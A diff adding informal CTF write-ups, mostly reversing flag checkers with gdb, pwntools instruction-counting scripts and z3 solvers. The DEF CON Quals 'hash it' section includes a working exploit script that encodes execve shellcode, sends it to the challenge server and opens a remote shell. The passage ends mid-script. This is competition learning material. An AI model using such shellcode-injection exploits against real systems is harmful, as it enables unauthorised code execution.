for x in data]) + +with open('dump', 'wb') as wb: + print(data) + wb.write(data) + + +#oops too late +desc = bytes.fromhex('6b0a444558474b460a5a58454d584b470a5f5943444d0a444558474b460a4d464348490a4c5f44495e4345445904') +desc = bytes([x ^ 42 for x in desc]) +print(desc) +``` + +### turbocrab + +beeg rust binary that looks like its crafting some sort of shellcode and executing it? + +dont care, i can just breakpoint after it finishes crafting the shellcode and jump to it + +the shellcode looks quite confusing though with IDA's decompiler not working that well + +and i cant really use binja for it coz i dont really know how to use binjas debugger still yet and the shellcode has to be dynamically obtained + +so i tried to look for places that might be potential instruction counting sites and see if there are patterns considering it looks like its AND-ing until one of the recursion fails which will return 0 for the entire chain + +but somehow my breakpoints were all not working + +after a bit of digging around and finding alternatives like tracepoints or even counting steps a thought came to my mind + +would it be because im lacking write perms for the new page + +so i patched mprotect and breakpoints actually work now so that saved a lot of time + +eventually i found a `test al al` location that looks kinda interesting and i wanna automate it to see if it really can be instruction counted + +but pwntools was having a field day with my usual gdb method by breaking the child process read() that it kept saying `SIGTTIN` + +had to mess around quite a bit again here too trying out temp files as stdin or in memory buffers like StringIO but none worked until i changed stdin to PTY + +still there was quite a bit of wackiness when it comes to communicating with the process and my instruction counting script ended up only working 50% of the time + +but theres not really that many false positives so its just a big waiting game + +eventually some false positives did pop up but they were scarse enough that i can just reason my way through the flag + +for some reason using DEBUG prints for pwntools also helped in stabilizing the script too lol + +either way aside from the last char of the flag which i didnt put in the dictionary until i manually submitted the flags to the platform (i forgot the binary was a flag checker itself lmfao) i realized it was a question mark + +anyway heres flage lol `corctf{x86_j1t_vm_r3v3rs1ng?}` took way too long + +also another chall that i didnt touch what they expected me to touch again lmao +```py +from pwn import * +import string +import io + +#context.log_level = 'ERROR' + +flag = 'corctf{x86_j1t_vm_r3v3rs1ng' + +while len(flag) < 29: + + #val = {} + for c in string.printable: + p = process(['/usr/bin/gdb', '-q', './turbocrab'], stdin=PTY) + p.sendline(b'start') + p.recvuntil(b'turbocrab::main') + p.sendline(b'catch syscall read') #need to break for mprotect to be run before breakpoint in shellcode + p.recvuntil(b'(gdb) ') + p.sendline(b'continue') + p.recvuntil(b'(gdb) ') + p.sendline(b'continue') + #p.interactive() + p.send(flag + c) #sendline's \n screws up the counter sometimes + p.recvuntil(b'(gdb) ') + p.sendline(b'i r rax') + r = p.recvuntil(b'(gdb) ') + print(r) + p.sendline(b'b *0x00007ffff7ffa228') #gdb is pie disabled; this seems to be where the 1s change to 0s and the recursion ends + p.recvuntil(b'(gdb) ') + p.sendline(b'continue') + + count = 0 + try: + while True: + print(count) + p.sendline(b'continue') + r = p.recvuntil(b'(gdb) ') + print(r) + if b'incorrect' in r: + p.close() + break + count += 1 + except EOFError: + p.close() + + print(count, c, flag) + # if count > len(flag) + 2: + # flag += c + # break + #val[c] = count + #print(max(val, key=val.get)) +``` diff --git a/ctfs/comments/cryptoverse22.md b/ctfs/comments/cryptoverse22.md new file mode 100644 index 0000000..cf29050 --- /dev/null +++ b/ctfs/comments/cryptoverse22.md @@ -0,0 +1,442 @@ +### super guesser + +pyc, so the logical approach is ofc to run pycdc on it + +eyo actually worked flawlessly coz its python 3.8 apparently + +reading the src tells us that we need to give it 4 chunks of the flag each of 5 chars long and matches the partial hash given + +i dont think hashcat nor john the ripper accepts partial hashes out of the box, and i dont think we need that powerful of a bruteforcer to test anyway so i just coded one in python + +turns out pwnlib has mbruteforce thats pretty fast lol + +flage `cvctf{hashisnotguessy}` +```py +import hashlib +import re + +import pwnlib.util.iters as iters +import string + +hashes = [ + 'd.0.....f5...5.6.7.1.30.6c.d9..0', + '1b.8.1.c........09.30.....64aa9.', + 'c.d.1.53..66.4.43bd.......59...8', + '.d.d.076........eae.3.6.85.a2...'] + + +for i in range(len(hashes)): + match = re.compile('^' + hashes[i].replace('.', '[0-9a-f]') + '$') + print (iters.mbruteforce(lambda t:match.match(hashlib.md5(t.encode()).hexdigest()), string.ascii_lowercase, 6, 'upto')) +``` + + +### warmup 4 + +[@Ray](https://maplebacon.org/authors/Ray/) was originally working on it and i picked up trying to see if theres a pattern in the different width unicode chars they used to encode things + +but then [@kever](https://maplebacon.org/authors/vEvergarden/) was like watch me solve it in 5 mins + +AND HE ACTUALLY GUESSED WHAT THE STEGO ALGO IS RIGHT FROM THE HINT LOL + +guess what tho i sniped him by decoding using the site faster than he can :sunglasses: + +logic is https://github.com/holloway/steg-of-the-dump/blob/master/steg-of-the-dump.js + +`cvctf{secretsaretobeh1dd3n}` + +### french + +watching [@kever](https://maplebacon.org/authors/vEvergarden/) going insane speedrunning the challs in like sub 5 mins made me wanna try too but im just too slow :turtle: + +anyway its clear from the decompilation that it decrypts the flag using rc4 and then checks char by char if it matches or not + +its obviously instruction countable but dude the flag is literally in memory alr so just grab it after breakpointing + +`cvctf{rC4<->3nC0d3d>-<}` + +### baby cuda + +this was kinda fun ngl i love blackboxing challs and not doing it the intended way + +judging from name it was probably supposed to be a shader chall and i can see communication to and from the gpu too + +but man im not about to learn how to reverse shaders + +so i looked at the checking part directly + +and i realized they are checking chunks of 4 characters at once for 4 times which means the flag is 16 bytes + +so i started looking at the transformation to the input after the cuda operations and seeing if theres any patterns i can see + +good ol 'aaaaaaabaaacaaad' tells me that there does seem to be a pattern in that they are always of the same distance from each other as long as we change only a character for each chunk even though the 4 bytes are intertwined which means we cant char by char bruteforce / instruction count feasibly + +eventually i mapped out the differences between each char: +```text +aaaaaaabaaac + +00 90 17 45 00 E0 35 45 00 90 78 45 00 60 66 45 ...E.à5E..xE.`fE +00 50 18 45 00 B0 36 45 00 C0 79 45 00 50 67 45 .P.E.°6E.ÀyE.PgE +00 10 19 45 00 80 37 45 00 F0 7A 45 00 40 68 45 ...E.€7E.ðzE.@hE + +little endian, (0xC0, 0xD0, 0x130, 0xF0) on middle 2 bytes + + +aaaaaabaaacaaada + +00 90 17 45 00 E0 35 45 00 90 78 45 00 60 66 45 +00 10 18 45 00 70 36 45 00 40 79 45 00 10 67 45 +00 90 18 45 00 00 37 45 00 F0 79 45 00 C0 67 45 +00 10 19 45 00 90 37 45 00 A0 7A 45 00 70 68 45 + +little endian, (0x80, 0x90, 0xB0, 0xB0) on middle 2 bytes + + +aaaaabaaacaaadaa + +00 90 17 45 00 E0 35 45 00 90 78 45 00 60 66 45 +00 D0 17 45 00 50 36 45 00 20 79 45 00 D0 66 45 +00 10 18 45 00 C0 36 45 00 B0 79 45 00 40 67 45 +00 50 18 45 00 30 37 45 00 40 7A 45 00 B0 67 45 + +little endian, (0x40, 0x70, 0x90, 0x70) on middle 2 bytes + + +aaaabaaacaaadaaa + +00 90 17 45 00 E0 35 45 00 90 78 45 00 60 66 45 +00 A0 17 45 00 F0 35 45 00 B0 78 45 00 B0 66 45 +00 B0 17 45 00 00 36 45 00 D0 78 45 00 00 67 45 +00 C0 17 45 00 10 36 45 00 F0 78 45 00 50 67 45 + +little endian, (0x10, 0x10, 0x20, 0x50) on middle 2 bytes +``` + +which also compounds up which is a very good sign coz it means we can just do multiplication on it +```text +aaaaaabb + +00 90 17 45 00 E0 35 45 00 90 78 45 00 60 66 45 +00 D0 18 45 00 40 37 45 00 70 7A 45 00 00 68 45 + ++0x140 (0xC0+0x80) ++0x160 (0xD0+0x90) ++0x1E0 (0x130+0xB0) ++0x1A0 (0xF0+0xB0) +``` + +now that i got a pretty consistent result so i started looking at the expected result it compares in memory + +they convert the float into an int to compare to expected result so i tried converting the expected result to float since i found a pattern in the float representation in memory +```c +#include +#include + +int main() +{ + char d[] = {0xC3, 0x0A, 0x00, 0x00, 0xFC, 0x0C, 0x00, 0x00, 0xC9, 0x11, 0x00, 0x00, 0x36, 0x10, 0x00, 0x00 + ,0xE6, 0x09, 0x00, 0x00, 0x0F, 0x0C, 0x00, 0x00, 0xAF, 0x10, 0x00, 0x00, 0x17, 0x0F, 0x00, 0x00 + ,0x24, 0x07, 0x00, 0x00, 0x61, 0x08, 0x00, 0x00, 0x57, 0x0B, 0x00, 0x00, 0xB3, 0x0A, 0x00, 0x00 + ,0x84, 0x09, 0x00, 0x00, 0x0E, 0x0B, 0x00, 0x00, 0x56, 0x0F, 0x00, 0x00, 0xA2, 0x0D, 0x00, 0x00}; + + int* data = (int*)d; + + __m128 buf; + for(int i = 0; i < 16; i++) { + int in = data[i]; + __m128 out = __builtin_ia32_cvtsi2ss(buf, in); + + char * bytearray = (char *) &out; + for(int i = 0; i < 4; i++) printf("%02hhx", bytearray[i]); + printf("\n"); + } + + return 0; +} +``` + +and then its time to try out z3 + +but while writing that i realized somehow some of the expected values arent even divisible by the amount of offset i added (last hexit is 8 not 0) so the representation is probably not that accurate due to how float is implemented + +and z3 is just giving me unsats everywhere or a ton of wrong solutions otherwise + +so i went back to verify if my theory is correct or not + +at one point i got so confused about the pattern in the float representation coz it straight up aint even aligned anymore so i gave up on it + +and then i thought why not try the integer representation instead + +turns out the pattern is way easier to recognize so i just wrote a script to grab the differences automatically to do what i did manually for the floats +```py +raw = """ +00 90 17 45 00 E0 35 45 00 90 78 45 00 60 66 45 +00 A0 17 45 00 F0 35 45 00 B0 78 45 00 B0 66 45 +00 B0 17 45 00 00 36 45 00 D0 78 45 00 00 67 45 +00 C0 17 45 00 10 36 45 00 F0 78 45 00 50 67 45 +""" + +r = raw.replace(' ', ' ').replace('\n', ' ').strip().split(' ') +chunks = [struct.unpack('f', bytes([int(v, 16) for v in r[i:i + 4]]))[0] for i in range(0, len(r), 4)] + +for i in range(4): + print([j-i for i, j in zip(chunks[i::4][:-1], chunks[i::4][1:])]) +``` + +but it is still different from the expected values somehow aside from the first value + +turns out i was coding the difference obtaining automation script too much that i got it mixed with how to get expected values LOL + +i parsed the expected values as columns instead of rows ofc its gonna be wrong for anything aside from the first value + +with the fixed script we can grab the chunks out now and obtain the actual flag: `cvctf{CuD4_B@@M}` +```py +from z3 import * + +#not working float comparison impl (inconsistent differences due to how float is implemented) + +# s = Solver() + +# b = [BitVec("b1", 8),BitVec("b2", 8),BitVec("b3", 8),BitVec("b4", 8)] + +# # s.add(Int2BV(0x1790 + BV2Int(BV2Int(b[0]*0)xC0) + BV2Int(BV2Int(b[1]*0)x80) + BV2Int(BV2Int(b[2]*0)x40) + BV2Int(BV2Int(b[3]*0)x10), 16) == 0x2c30) +# # s.add(Int2BV(0x35e0 + BV2Int(BV2Int(b[0]*0)xD0) + BV2Int(BV2Int(b[1]*0)x90) + BV2Int(BV2Int(b[2]*0)x70) + BV2Int(BV2Int(b[3]*0)x10), 16) == 0x4fc0) +# # s.add(Int2BV(0x7890 + BV2Int(BV2Int(b[0]*0)x130) + BV2Int(BV2Int(b[1]*0)xB0) + BV2Int(BV2Int(b[2]*0)x90) + BV2Int(BV2Int(b[3]*0)x20), 16) == 0x8e40) #8e48 +# # s.add(Int2BV(0x6660 + BV2Int(BV2Int(b[0]*0)xF0) + BV2Int(BV2Int(b[1]*0)xB0) + BV2Int(BV2Int(b[2]*0)x70) + BV2Int(BV2Int(b[3]*0)x50), 16) == 0x81b0) + +# s.add((BV2Int(b[0]*0)xC0 + BV2Int(b[1]*0)x80 + BV2Int(b[2]*0)x40 + BV2Int(b[3]*0)x10) == 0x451920) +# s.add((BV2Int(b[0]*0)xD0 + BV2Int(b[1]*0)x90 + BV2Int(b[2]*0)x70 + BV2Int(b[3]*0)x10) == 0x4537c0) +# s.add((BV2Int(b[0]*0)x130 + BV2Int(b[1]*0)xB0 + BV2Int(b[2]*0)x90 + BV2Int(b[3]*0)x20) == 0x457b20) #8e48 +# s.add((BV2Int(b[0]*0)xF0 + BV2Int(b[1]*0)xB0 + BV2Int(b[2]*0)x70 + BV2Int(b[3]*0)x50) == 0x4568c0) + +# for c in b: +# s.add(c >= 97) +# s.add(c <= 122) + +# print(s.check()) + +# while str(s.check()) == 'sat': +# print("".join([chr(s.model()[c].as_long()) for c in b])) +# s.add(Or([c != s.model()[c] for c in b])) + + +#sanity check for float + +# b = b'aaas'[::-1] + +# print(b[0], b'h'[0], hex(0x130*b'h'[0])) + +# print(hex(0x448000 + BV2Int(b[0]*0)xC0 + BV2Int(b[1]*0)x80 + BV2Int(b[2]*0)x40 + BV2Int(b[3]*0)x10)) +# print(hex(0x448000 + BV2Int(b[0]*0)xD0 + BV2Int(b[1]*0)x90 + BV2Int(b[2]*0)x70 + BV2Int(b[3]*0)x10)) +# print(hex(0x448000 + (BV2Int(b[0]*0)x130 if b[0] <= b'h'[0] else ((0x130*b'h'[0]) + (b[0]-b'h'[0])*0x98)) + BV2Int(b[1]*0)xB0 + BV2Int(b[2]*0)x90 + BV2Int(b[3]*0)x20)) +# print(hex(0x448000 + BV2Int(b[0]*0)xF0 + BV2Int(b[1]*0)xB0 + BV2Int(b[2]*0)x70 + BV2Int(b[3]*0)x50)) + +# print(chr(b's'[0] - 0xB)) + + +import struct + +# from c cvtsi2ss coz i just realized python struct unpack works exactly like cvtss2si + +#sanity check for unpack to see if values match + +# vals = [00, 0x90, 0x17, 0x45, 0x00, 0xE0, 0x35, 0x45, 0x00, 0x90, 0x78, 0x45, 0x00, 0x60, 0x66, 0x45, +# 00, 0x10, 0x18, 0x45, 0x00, 0x70, 0x36, 0x45, 0x00, 0x40, 0x79, 0x45, 0x00, 0x10, 0x67, 0x45, +# 00, 0x90, 0x18, 0x45, 0x00, 0x00, 0x37, 0x45, 0x00, 0xF0, 0x79, 0x45, 0x00, 0xC0, 0x67, 0x45, +# 00, 0x10, 0x19, 0x45, 0x00, 0x90, 0x37, 0x45, 0x00, 0xA0, 0x7A, 0x45, 0x00, 0x70, 0x68, 0x45] + +#print([struct.unpack('f', bytes(vals[i:i + 4])) for i in range(0, len(vals), 16)]) + +# expected vals from float from cvtsi2ss + +vals = [ 0x00302c45, 0x00c04f45, 0x00488e45, 0x00b08145 +, 0x00601e45, 0x00f04045, 0x00788545, 0x00707145 +, 0x0080e444, 0x00100645, 0x00703545, 0x00302b45 +, 0x00401845, 0x00e03045, 0x00607545, 0x00205a45] + +expected = [int(struct.unpack('f', v.to_bytes(4, byteorder='big'))[0]) for v in vals][:4] + +# orig expected vals in memory + +vals = [0xC3, 0x0A, 0x00, 0x00, 0xFC, 0x0C, 0x00, 0x00, 0xC9, 0x11, 0x00, 0x00, 0x36, 0x10, 0x00, 0x00 + ,0xE6, 0x09, 0x00, 0x00, 0x0F, 0x0C, 0x00, 0x00, 0xAF, 0x10, 0x00, 0x00, 0x17, 0x0F, 0x00, 0x00 + ,0x24, 0x07, 0x00, 0x00, 0x61, 0x08, 0x00, 0x00, 0x57, 0x0B, 0x00, 0x00, 0xB3, 0x0A, 0x00, 0x00 + ,0x84, 0x09, 0x00, 0x00, 0x0E, 0x0B, 0x00, 0x00, 0x56, 0x0F, 0x00, 0x00, 0xA2, 0x0D, 0x00, 0x00] + +expected = [int.from_bytes(bytes(vals[i:i + 4]), byteorder='little') for i in range(0, len(vals), 4)][12:] + +print(expected) + + +#sanity check +# b = b'cvct' + +# print((b[0]*1 + b[1]*4 + b[2]*8 + b[3]*12)) +# print((b[0]*1 + b[1]*7 + b[2]*9 + b[3]*13)) +# print((b[0]*2 + b[1]*9 + b[2]*11 + b[3]*19)) +# print((b[0]*5 + b[1]*7 + b[2]*11 + b[3]*15)) + + +#finally a solution that works with consistent differences +s = Solver() + +b = [BitVec("b1", 8),BitVec("b2", 8),BitVec("b3", 8),BitVec("b4", 8)] + +s.add((BV2Int(b[0])*1 + BV2Int(b[1])*4 + BV2Int(b[2])*8 + BV2Int(b[3])*12) == expected[0]) +s.add((BV2Int(b[0])*1 + BV2Int(b[1])*7 + BV2Int(b[2])*9 + BV2Int(b[3])*13) == expected[1]) +s.add((BV2Int(b[0])*2 + BV2Int(b[1])*9 + BV2Int(b[2])*11 + BV2Int(b[3])*19) == expected[2]) +s.add((BV2Int(b[0])*5 + BV2Int(b[1])*7 + BV2Int(b[2])*11 + BV2Int(b[3])*15) == expected[3]) + + +print(s.check()) + + +while str(s.check()) == 'sat': + print("".join([chr(s.model()[c].as_long()) for c in b])) + s.add(Or([c != s.model()[c] for c in b])) +``` + +### boost game + +now that we are nearly full solving i gotta try harder so its time to look at the other less solved challs + +code looks kinda scary ngl but LOL turns out its way too simple for what it does + +in the mess of repeating codes theres an early exit right after a check, and otherwise we increment a counter until 5 which congrats us for getting the flag + +then why not just breakpoint at the early exit and see what it checks then change our input to match that + +its also not modifying our input at all either it turns out so we can just dynamically obtain whats expected and send that instead + +after doing that 5 times we literally just get the flag lol `cvctf{2326651332123730010604561282900}` i was so surprised it worked + +solved in like 20 mins too lmao + +### my online voucher + +movuscated binary :skull: + +literally did not want to touch it at all but we have to in order to full solve + +but it also turned out to be pretty straightforward logically LOL + +the obfuscation is pretty intersting too in how it uses signal handlers to trigger calls to functions and such + +i only realized it when straced it and realized theres too many segfaults yet the program still ran fine then i remembered the sigaction calls thats the only non mov instructions in the binary + +now that its much clearer what the program is doing with being able to map the function calls, i can check a bit after the strlen func call which is likely the flag length check for most flag checkers (it also had "invalid" printf not far after the check too) + +and im right - 0x14 was the flag length and now we can go to the next stages + +i see a valid call thats never triggered with segfaults (i breakpointed at all `mov [eax], eax` after printfs coz those are the trigger points for the function calls) and an invalid that does after multiple SIGILLs at the end of the entire block of mov instructions + +wait ok multiple times? but whats the pattern for that + +turns out its literally a char by char check LOL the amount of SIGILLs are the amount of correct inputs until it terminates early after printing "invalid" + +this means its time for our good ol pal instruction counting to do its thing + +with `handle SIGNAL nostop` we can easily count how many times the char checks have been run without intervention needed too so its a pretty simple script + +with this we have flage `cvctf{M0V3c0nfu51ng}` +```py +from pwn import * +import string +import io + +context.log_level = 'ERROR' + +flag = b'cvctf{' + +while len(flag) < 0x14: + + for c in string.printable: + p = process(['/usr/bin/gdb', '-q', './voucher'], stdin=PIPE) + p.sendline(b'handle SIGSEGV nostop') + p.recvuntil(b'(gdb)') + p.sendline(b'handle SIGILL nostop') + p.recvuntil(b'(gdb)') + p.sendline(b'start') + p.recvuntil(b'(gdb)') + + p.recvuntil(b'SIGSEGV') #we cant recvuntil "Enter your code: " coz its never flushed yet + + print(flag + c.encode() + (b'a'*(0x14-len(flag)-1))) + p.sendline(flag + c.encode() + (b'a'*(0x14-len(flag)-1))) + + lines = p.recvuntil(b'(gdb)').split(b'SIGILL') + print(len(lines), len(flag)) + if len(lines) > len(flag) + 1: + flag += c.encode() + + p.send('quit') + p.close() +``` + +### cheney-on-the-mta + +chall desc mentioned a recent ctf, and opening it up we see chicken which was also in sekaictf + +pain i have no idea how to even run this but i have to solve it coz its the last chall and [@kever](https://maplebacon.org/authors/vEvergarden/)s nearly done with his last crypto chall + +turns out `libchicken.so.11` is an actual library oops lmfao but still i cant run it coz string-utils extension is missing and idk how to get it + +and now [@kever](https://maplebacon.org/authors/vEvergarden/) is challenging me to a race to see who solves the chall first so i gotta be quick :skull: + +so i just asked other teammates to try figuring out how to run it so i can probably instruction count it (coz strings tells me its another flag checker) + +meanwhile ill just look at the data section for the blob of data that basically every flag checker checks against + +this binary looks pretty simple in the data section: we have a few strings that has tags in front of it and then a data blob that looks like an array of sth which are all referenced in `C_toplevel` which seems to initialize the globals + +looking closer we can see that the strings have 5 bytes as tags, which is quite similar to the array of chunks that the data blob has + +splitting it into easier readable lines we get: +```txt +fe03000002feff0100000060 +fe03000002feff0100000073 +fe03000002feff0100000060 +fe03000002feff0100000071 +fe03000002feff0100000063 +fe03000002feff0100000078 +fe03000002feff0100000032 +fe03000002feff0100000060 +fe03000002feff0100000065 +fe03000002feff0100000030 +fe03000002feff010000006a +fe03000002feff0100000030 +fe03000002feff010000005c +fe03000002feff010000005f +fe03000002feff0100000031 +fe03000002feff010000005f +fe03000002feff0100000076 +fe03000002feff010000005b +fe03000002feff010000005b +fe03000002feff010000007a +feff0e00 +``` + +which is all repeating aside from the last byte, and looks supsiciously like ascii + +also first and third byte are the same?? **c**v**c**tf???? + +fifth byte is also 3 away from first and third, which is also the difference between ascii `c` and `f` + +now im basically convinced this is a direct representation of the flag just slightly shifted + +and yep LOL flage `cvctf{5ch3m3_b4by^^}` +```py +data = [0x60, 0x73, 0x60, 0x71, 0x63, 0x78, 0x32, 0x60, 0x65, 0x30, 0x6a, 0x30, 0x5c, 0x5f, 0x31, 0x5f, 0x76, 0x5b, 0x5b, 0x7a] + +print(bytes([d + 3 for d in data])) +``` + +insane how nobody solved this before me coz it was literally right there + +guess everyone just got scared by the language like me LOL + +[@kever](https://maplebacon.org/authors/vEvergarden/) solved his last crypto 2 mins before i solved this sadge lost the race + +but hey with this it means we full cleared the entire ctf lmaooo very nice + +i also eventually realized the hint 2 thats released a bit before i solved it (even tho i didnt even realize it was there) said something about "a simple cipher" LOL sure rot3 definitely is simple :skull: \ No newline at end of file diff --git a/ctfs/comments/defconquals22.md b/ctfs/comments/defconquals22.md new file mode 100644 index 0000000..3be98e6 --- /dev/null +++ b/ctfs/comments/defconquals22.md @@ -0,0 +1,68 @@ +### hash it + +literally the only "normal" chall in this ctf lmfao all of the other ones are obscure architectures, weird custom implementations, way too new versions for existing tooling to support it yadayada + +(ok maybe aside from not too advanced but still) + +either way x86-64 ELF, reads in 4 bytes for malloc then reads in the amount of bytes specfified as data + +does some hashing with an pointer array for 4 algorithms, then ends up jumping to the malloc'd address which is rwx'd + +looking closer at the read loops, turns out its reading 2 bytes at a time then hash it with the rotating algorithms and fetching 1 byte from it to construct the shellcode to jump to + +quickly wrote a reimplementation in python to check if its really just that, which ended up matching every byte aside from the first byte + +turns out it was the newline char from me using the console manually lmao + +either way with that since we are only dealing with pairs of bytes a good ol brute force would work for constructing the wanted shellcode + +with some wackiness out of the way like using the wrong architecture for shellcode (oops) we can get a shell pretty easily + +```py +from pwn import * +from Crypto.Hash import MD5, SHA1, SHA256, SHA512 + +payload = b'' + +algos = [MD5, SHA1, SHA256, SHA512] + +#dont forget to set context or else you get 32 bits :) +context.binary = ELF('./zc7ejjq9ehhcqj1x61ekoa8pjtk7') +targetshellcode = asm(shellcraft.sh()) + +# targetshellcode = b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05' + +print(targetshellcode) + +for i in range(0, len(targetshellcode)*2, 2): + for test in range(0xFFFF): + pair = int.to_bytes(test, byteorder='little', length=2) + algo = algos[(i // 2 % 4)] + h = algo.new() + h.update(pair) + if h.digest()[0] == targetshellcode[i//2]: + payload += pair + print(payload) + break + +print('final:', payload) + + +# payload = b'I\x00\x03\x00n\x00\x13\x00\xc2\x00\x80\x00\x11\x03[\x01\xc2\x006\x00<\x01\xea\x02x\x00\xf4\x01Z\x00r\x00\x88\x00<\x00\x11\x03A\x00n\x01\x8d\x00\x9a\x00\x84\x00n\x01\xc5\x00u\x00A\x00]\x00\xc3\x01C\x04U\x01\x90\x00\t\x01n\x00A\x00\xb7\x00\xdb\x00n\x00\x12\x00\xb7\x00\xd5\x01=\x01U\x01\xef\x00X\x02b\x01\x0e\x00' + +#remote +p = remote('hash-it-0-m7tt7b7whagjw.shellweplayaga.me', 31337) +p.recvuntil('Ticket please:') +p.sendline(r'ticket{GangwayBoom2757n22:JPhP0TDldX6nhNGrjRYeXtC4eCTXxx6HWFyb8oUl55JtIl0M}') + +#local +# p = process([context.binary.path]) + +# import time +# time.sleep(10) + + +p.send(int.to_bytes(len(payload), byteorder='big', length=4)) +p.send(payload) +p.interactive() +``` \ No newline at end of file diff --git a/ctfs/comments/dicehope22.md b/ctfs/comments/dicehope22.md new file mode 100644 index 0000000..3c45d3a --- /dev/null +++ b/ctfs/comments/dicehope22.md @@ -0,0 +1,485 @@ +### sequence + +extract check codes from IDA + +change if to equals +```c +#include + +int main() { + int v2[6]; + v2[0] = 12; + for (int i = 1; i <= 5; ++i ) { + v2[i] = (3 * v2[i - 1] + 7) % 16; + } + + for(int i = 0; i < 6; i++) { + //printf("%c", ((char*) v2)[i]); + printf("%d ", v2[i]); + } + return 0; +} +``` + +put the ints back in and grab the flag from remote + +`hope{definitely_solvable_with_angr}` + +### check + +dynamic debug stop before strcmp + +(no solve script lmao literally just breakpoint and check IDA locals) + +`hope{oops_all_flag_checkers_64961defe21b15e8}` + +### zzz + +tried using ponce, gave up manually negate and injecting and used z3 instead + +with a bit of regex to change the conditions we can get this easily + +(do remember to add the printable char constraint though or else it wouldnt give the correct flag) +```py +from z3 import * + +v = [BitVec('char ' + str(i), 8) for i in range(59)] + +s = Solver() + +s.add((v[0] - 33) <= 0x5D) +s.add((v[5] - 33) <= 0x5D) +s.add((v[6] - 33) <= 0x5D) +s.add((v[7] - 33) <= 0x5D) +s.add((v[8] - 33) <= 0x5D) +s.add((v[9] - 33) <= 0x5D) +s.add((v[10] - 33) <= 0x5D) +s.add((v[11] - 33) <= 0x5D) +s.add((v[12] - 33) <= 0x5D) +s.add((v[13] - 33) <= 0x5D) +s.add((v[14] - 33) <= 0x5D) +s.add((v[15] - 33) <= 0x5D) +s.add((v[16] - 33) <= 0x5D) +s.add((v[17] - 33) <= 0x5D) +s.add((v[18] - 33) <= 0x5D) +s.add((v[19] - 33) <= 0x5D) +s.add((v[20] - 33) <= 0x5D) +s.add((v[21] - 33) <= 0x5D) +s.add((v[22] - 33) <= 0x5D) +s.add((v[23] - 33) <= 0x5D) +s.add((v[24] - 33) <= 0x5D) +s.add((v[25] - 33) <= 0x5D) +s.add((v[26] - 33) <= 0x5D) +s.add((v[27] - 33) <= 0x5D) +s.add((v[28] - 33) <= 0x5D) +s.add((v[29] - 33) <= 0x5D) +s.add((v[30] - 33) <= 0x5D) +s.add((v[31] - 33) <= 0x5D) +s.add((v[32] - 33) <= 0x5D) +s.add((v[33] - 33) <= 0x5D) +s.add((v[34] - 33) <= 0x5D) +s.add((v[35] - 33) <= 0x5D) +s.add((v[36] - 33) <= 0x5D) +s.add((v[37] - 33) <= 0x5D) +s.add((v[38] - 33) <= 0x5D) +s.add((v[39] - 33) <= 0x5D) +s.add((v[40] - 33) <= 0x5D) +s.add((v[41] - 33) <= 0x5D) +s.add((v[42] - 33) <= 0x5D) +s.add((v[43] - 33) <= 0x5D) +s.add((v[44] - 33) <= 0x5D) +s.add((v[45] - 33) <= 0x5D) +s.add((v[46] - 33) <= 0x5D) +s.add((v[47] - 33) <= 0x5D) +s.add((v[48] - 33) <= 0x5D) +s.add((v[49] - 33) <= 0x5D) +s.add((v[50] - 33) <= 0x5D) +s.add((v[51] - 33) <= 0x5D) +s.add((v[52] - 33) <= 0x5D) +s.add((v[53] - 33) <= 0x5D) +s.add((v[54] - 33) <= 0x5D) +s.add((v[55] - 33) <= 0x5D) +s.add((v[56] - 33) <= 0x5D) +s.add((v[57] - 33) <= 0x5D) +s.add(v[6] == 112) +s.add(v[5] == 111) +s.add((v[58] - 33) <= 0x5D) +s.add(v[0] == 104) +s.add(v[7] == 101) +s.add((v[48] ^ v[23]) == 3) +s.add((v[53] ^ v[56]) == 7) +s.add(v[9] <= v[32]) +s.add((v[47] ^ v[11]) == 13) +s.add(v[21] + v[17] == 212) +s.add(v[36] - v[44] == 66) +s.add(v[22] != 104) +s.add((v[29] ^ v[10]) == 3) +s.add((v[50] ^ v[33]) == 91) +s.add(v[24] != v[43]) +s.add((v[25] ^ v[28]) == 11) +s.add(v[40] == 103) +s.add(v[55] != 111) +s.add(v[41] + v[13] == 199) +s.add(v[39] - v[19] == 15) +s.add((v[52] ^ v[8]) == 79) +s.add(v[14] >= v[27]) +s.add(v[42] >= v[57]) +s.add(v[26] <= v[58]) +s.add(v[54] + v[34] == 146) +s.add(v[30] - v[20] == 19) +s.add(v[15] >= v[46]) +s.add(v[18] != v[31]) +s.add(v[12] == 103) +s.add(v[45] + v[16] == 205) +s.add(v[35] - v[51] == 21) +s.add(v[38] >= v[49]) +s.add(v[37] - v[16] == 19) +s.add((v[46] ^ v[14]) == 68) +s.add(v[47] + v[31] == 195) +s.add(v[26] != v[58]) +s.add((v[52] ^ v[29]) == 91) +s.add(v[27] + v[8] == 218) +s.add(v[41] != 112) +s.add(v[48] + v[56] == 149) +s.add(v[15] == 95) +s.add(v[18] == 116) +s.add(v[23] != 103) +s.add(v[20] + v[36] == 222) +s.add(v[42] == 101) +s.add(v[9] != v[38]) +s.add(v[13] != v[54]) +s.add(v[22] + v[28] == 218) +s.add(v[50] >= v[57]) +s.add(v[10] - v[19] == 13) +s.add(v[53] <= 0x6F) +s.add(v[39] != v[55]) +s.add((v[49] ^ v[45]) == 86) +s.add(v[11] >= v[44]) +s.add(v[21] + v[51] == 202) +s.add(v[37] + v[17] == 233) +s.add(v[9] <= v[13]) +s.add(v[25] >= v[46]) +s.add(v[24] != v[25]) +s.add(v[33] - v[32] == 4) +s.add(v[30] != v[34]) +s.add(v[35] >= v[43]) +s.add(v[8] != v[26]) +s.add(v[23] <= v[36]) +s.add(v[27] + v[47] == 195) +s.add(v[34] == 95) +s.add(v[43] == 49) +s.add(v[57] == 54) +s.add(v[32] != v[44]) +s.add(v[37] != v[49]) +s.add(v[48] <= v[51]) +s.add((v[52] ^ v[21]) == 81) +s.add(v[54] <= v[55]) +s.add(v[30] <= v[35]) +s.add(v[19] >= v[41]) +s.add(v[45] + v[20] == 202) +s.add(v[17] != v[58]) +s.add(v[16] <= v[33]) +s.add((v[56] ^ v[29]) == 92) +s.add(v[11] <= v[14]) +s.add((v[53] ^ v[28]) == 90) +s.add(v[39] + v[31] == 205) +s.add(v[38] == 105) +s.add((v[24] ^ v[10]) == 21) +s.add(v[50] == 54) +s.add(v[22] != v[33]) +s.add(v[22] + v[54] == 159) +s.add(v[27] != 103) +s.add(v[49] != 54) +s.add(v[41] + v[30] == 214) +s.add(v[36] != v[52]) +s.add(v[11] <= 